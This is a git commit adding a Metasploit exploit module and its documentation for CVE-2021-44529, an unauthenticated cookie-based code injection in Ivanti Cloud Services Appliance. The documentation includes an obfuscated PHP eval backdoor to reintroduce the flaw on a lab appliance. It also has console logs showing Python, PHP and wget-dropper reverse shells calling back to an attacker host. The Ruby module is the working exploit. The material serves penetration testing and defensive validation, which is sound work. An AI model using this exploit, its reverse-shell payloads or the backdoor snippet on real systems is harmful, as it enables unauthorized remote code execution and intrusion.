Land #17449, Ivanti Cloud Services Appliance unauthenticated cookie-based command injection [CVE-2021-44529]
This commit is contained in:
commit
3b1380b164
|
@ -0,0 +1,192 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Ivanti Cloud Services Appliance for Ivanti Endpoint Manager is a appliance that is
|
||||
designed to manage endpoints (Desktops). It also know under the name LANDESK. The
|
||||
appliance can be either a physical or a virtual appliance and it runs a web based application
|
||||
where the HTTP web interface is typically exposed to the public internet.
|
||||
|
||||
A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) before
|
||||
version `4.6.0-512` allows an unauthenticated user to execute arbitrary code with limited
|
||||
permissions by sending a specially crafted cookie to the client endpoint at `/client/index.php`.
|
||||
Successful exploitation results in command execution as user `nobody`. The logic of how
|
||||
the cookie is retrieved and executed is explained in more detail at
|
||||
https://attackerkb.com/assessments/d200fb32-b92f-4f69-8ae1-f6e253cf00c2 and shows how a
|
||||
encoded PHP snippet is used to determine which cookie to pass to an `eval()` statement
|
||||
that will execute arbitrary commands from the attacker as the `nobody` user.
|
||||
|
||||
Installing a vulnerable test bed requires an Ivanti EPM Cloud Services Appliance (CSA),
|
||||
either physical or virtual with the vulnerable software installed.
|
||||
|
||||
This module has been tested against a virtual Ivanti EPM Cloud Services Appliance (CSA)
|
||||
with the specifications listed below:
|
||||
|
||||
* Ivanti EPM Cloud Services Appliance (CSA)
|
||||
* Version: `4.6.0-20211203.1950`
|
||||
* Remark: Manually added vulnerable code in `/opt/landesk/broker/webroot/lib/csrf-magic.php`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Installation
|
||||
Below are the steps to install and setup a vulnerable Ivanti EPM Cloud Services virtual Appliance (CSA).
|
||||
|
||||
* Download the CSA 4.6 virtual appliance
|
||||
[ISO](https://download.ivanti.com/product/CSA/46/ldcsa-scsi-csrffix.iso) and follow the
|
||||
instructions [on the
|
||||
form](https://forums.ivanti.com/s/article/How-to-Create-CSA-VM-from-ISO?language=en_US).
|
||||
* Once the application has been set up, log in with the username `admin` and password
|
||||
`admin`.
|
||||
* Follow the prompt to change the admin password.
|
||||
* Login into the appliance again with username `admin` and the password you set.
|
||||
* Add a second network interface on the VM at your hypervisor. This will allow you to run
|
||||
and test the appliance without activation.
|
||||
* Follow the instructions on the screen to finalize the setup.
|
||||
* Start the appliance again and login with `admin` user and navigate to the security tab
|
||||
listed on the left side of the screen.
|
||||
* Under `Trusted Services`, click the checkmarks next to `Secure Shell access` to enable
|
||||
SSH access.
|
||||
* Login to the system via SSH with the user `admin` and the password that you set.
|
||||
* Open `/opt/landesk/broker/webroot/lib/csrf-magic.php` as the `root` user using `sudo`.
|
||||
* Just before `// Load user configuration` section in this file, add the following code
|
||||
which will reintroduce the vulnerable code that was removed as part of the patch.
|
||||
For more details on this, please read article [attackerkb CVE-2021-4459](https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529).
|
||||
```
|
||||
// Obscure Tokens
|
||||
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
|
||||
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
|
||||
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
|
||||
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
|
||||
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
|
||||
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
|
||||
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
|
||||
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();
|
||||
```
|
||||
* Open up WireShark and then click `System` on the tabs on the left side of the screen.
|
||||
* Under `Network Settings`, click the `Save` button, then check WireShark for DNS requests to
|
||||
`centos` related endpoints. You should see a few that are from the CSA target.
|
||||
* Save and run the Metasploit module below against the CSA target IP.
|
||||
|
||||
1. `use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529`
|
||||
1. `set RHOSTS <CSA target IP>`
|
||||
1. `set RPORT <port>`
|
||||
1. `set LHOST <attacker host ip>`
|
||||
1. `set LPORT <attacker host port>`
|
||||
1. `set TARGET <0-Unix command, 1-PHP command or 2-Linux dropper>`
|
||||
1. `exploit`
|
||||
1. You should get a `bash` shell, `python` shell or `meterpreter` session depending on the target and payload settings.
|
||||
|
||||
## Options
|
||||
No additional options.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ivanti Cloud Services Appliance RCE using payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 > use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_http
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
|
||||
rhosts => 192.168.100.41
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.41:443 can be exploited.
|
||||
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
|
||||
.
|
||||
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGEO71K4uVhDxICKCuzeRpU1GDU3TkGS1Kv53G7I4hxnezJs3H3p0k484THKAyL+N7nnfBWhqHqI/yMijHgG9Th7PWFvsO/sGtCrZBhXRfy2+CG1uFjnQFT/i7ePN/X67e7q9fmCJJ+RkLchIKakuVqJqzkVVlmJNeL0YS5zeQzegAmYJLibxNF0EA+DoGUOmzUuJg3WdHCi5uiM8CA/ygy4Cz+ULUu0RG4Y+37UBbMBSxS7NIqdO/qunOc0QzCBpulsokNPoPIRA8wtE39QpqSAx+Q8JZBN+GfoDHtFfMQ\=\=\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
|
||||
[*] Sending stage (24380 bytes) to 192.168.100.41
|
||||
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59430) at 2023-01-08 16:43:38 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : Linux 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > getuid
|
||||
Server username: nobody
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Ivanti Cloud Services Appliance RCE using payload php/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
|
||||
rhosts => 192.168.100.41
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.41:443 can be exploited.
|
||||
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
|
||||
.
|
||||
[*] Executing PHP Command with /*<?php /**/ error_reporting(0); $ip = '192.168.100.7'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
|
||||
[*] Sending stage (39927 bytes) to 192.168.100.41
|
||||
[*] Meterpreter session 2 opened (192.168.100.7:4444 -> 192.168.100.41:59432) at 2023-01-08 16:47:23 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: nobody
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Ivanti Cloud Services Appliance RCE using payload linux/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
|
||||
rhosts => 192.168.100.41
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set srvport 1080
|
||||
srvport => 1080
|
||||
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.41:443 can be exploited.
|
||||
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
|
||||
.
|
||||
[*] Executing Linux Dropper
|
||||
[*] Using URL: http://192.168.100.7:1080/oBGKBxPUe3Uos
|
||||
[*] Client 192.168.100.41 (Wget/1.14 (linux-gnu)) requested /oBGKBxPUe3Uos
|
||||
[*] Sending payload to 192.168.100.41 (Wget/1.14 (linux-gnu))
|
||||
[*] Sending stage (3045348 bytes) to 192.168.100.41
|
||||
[*] Command Stager progress - 100.00% done (119/119 bytes)
|
||||
[*] Meterpreter session 3 opened (192.168.100.7:4444 -> 192.168.100.41:59436) at 2023-01-08 16:52:10 +0000
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: nobody
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
Due to the port restrictions of a hardened CSA appliance typically only port `80` and `443` are open for inbound and outbound traffic.
|
||||
Also avoid using stageless payloads because they may exceed the maximum Cookie header size that will cause the payload delivery to fail.
|
|
@ -0,0 +1,186 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)
|
||||
for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the
|
||||
Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to
|
||||
execute arbitrary code with limited permissions. Successful exploitation results
|
||||
in command execution as the `nobody` user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jakub Kramarz', # Discovery
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2021-44529'],
|
||||
['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'],
|
||||
['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'],
|
||||
['EDB', '50833'],
|
||||
['PACKETSTORM', '166383']
|
||||
],
|
||||
'DisclosureDate' => '2021-12-02',
|
||||
'Platform' => ['unix', 'linux', 'php'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'PHP Command',
|
||||
{
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'CmdStagerFlavor' => ['wget', 'printf', 'echo'],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter_reverse_http'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' => {
|
||||
'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things.
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
# Randomize the cookie pairs for the request.
|
||||
def randomize_cookie(payload)
|
||||
# Number of cookie pairs should be at least 4, and the first cookie pair should
|
||||
# always have the value 'ab'. Note that the Nth cookie in the request, where
|
||||
# N=no_of_cookies-2, should contain the payload.
|
||||
#
|
||||
# example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=;
|
||||
# example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=;
|
||||
no_of_cookies = rand(4..8)
|
||||
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
|
||||
payload_cookie_number = (no_of_cookies - 2)
|
||||
random_cookie = "#{cookie_name}=ab;"
|
||||
for cookie_no in 2..no_of_cookies do
|
||||
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
|
||||
if cookie_no == payload_cookie_number
|
||||
random_cookie << "#{cookie_name}=#{payload};"
|
||||
else
|
||||
random_cookie << "#{cookie_name}=;"
|
||||
end
|
||||
end
|
||||
|
||||
return random_cookie
|
||||
end
|
||||
|
||||
def check_vuln
|
||||
# check RCE by grabbing CSA version banner stored on /etc/LDBUILD
|
||||
payload = Base64.strict_encode64('readfile("/etc/LDBUILD");')
|
||||
cookie_payload = randomize_cookie(payload)
|
||||
|
||||
return send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
|
||||
'cookie' => cookie_payload.to_s
|
||||
})
|
||||
rescue StandardError => e
|
||||
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
|
||||
return nil
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
payload = Base64.strict_encode64("system(\"#{cmd}\");")
|
||||
when :php_cmd
|
||||
payload = Base64.strict_encode64(cmd.to_s)
|
||||
when :linux_dropper
|
||||
payload = Base64.strict_encode64("system(\"#{cmd}\");")
|
||||
end
|
||||
cookie_payload = randomize_cookie(payload)
|
||||
|
||||
return send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
|
||||
'cookie' => cookie_payload.to_s
|
||||
})
|
||||
rescue StandardError => e
|
||||
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
|
||||
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking if #{peer} can be exploited.")
|
||||
res = check_vuln
|
||||
return CheckCode::Unknown('No response received from the target.') unless res
|
||||
return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/
|
||||
|
||||
begin
|
||||
parsed_html = Nokogiri::HTML.parse(res.body)
|
||||
rescue Nokogiri::SyntaxError => e
|
||||
return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")
|
||||
end
|
||||
csa_version = parsed_html.at_css('c123')
|
||||
if csa_version&.text&.blank?
|
||||
CheckCode::Vulnerable('Could not retrieve version.')
|
||||
else
|
||||
CheckCode::Vulnerable("Version: #{csa_version.text}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
print_status("Executing #{target.name} with #{payload.encoded}")
|
||||
execute_command(payload.encoded)
|
||||
when :php_cmd
|
||||
print_status("Executing #{target.name} with #{payload.encoded}")
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
print_status("Executing #{target.name}")
|
||||
execute_cmdstager(linemax: 262144)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue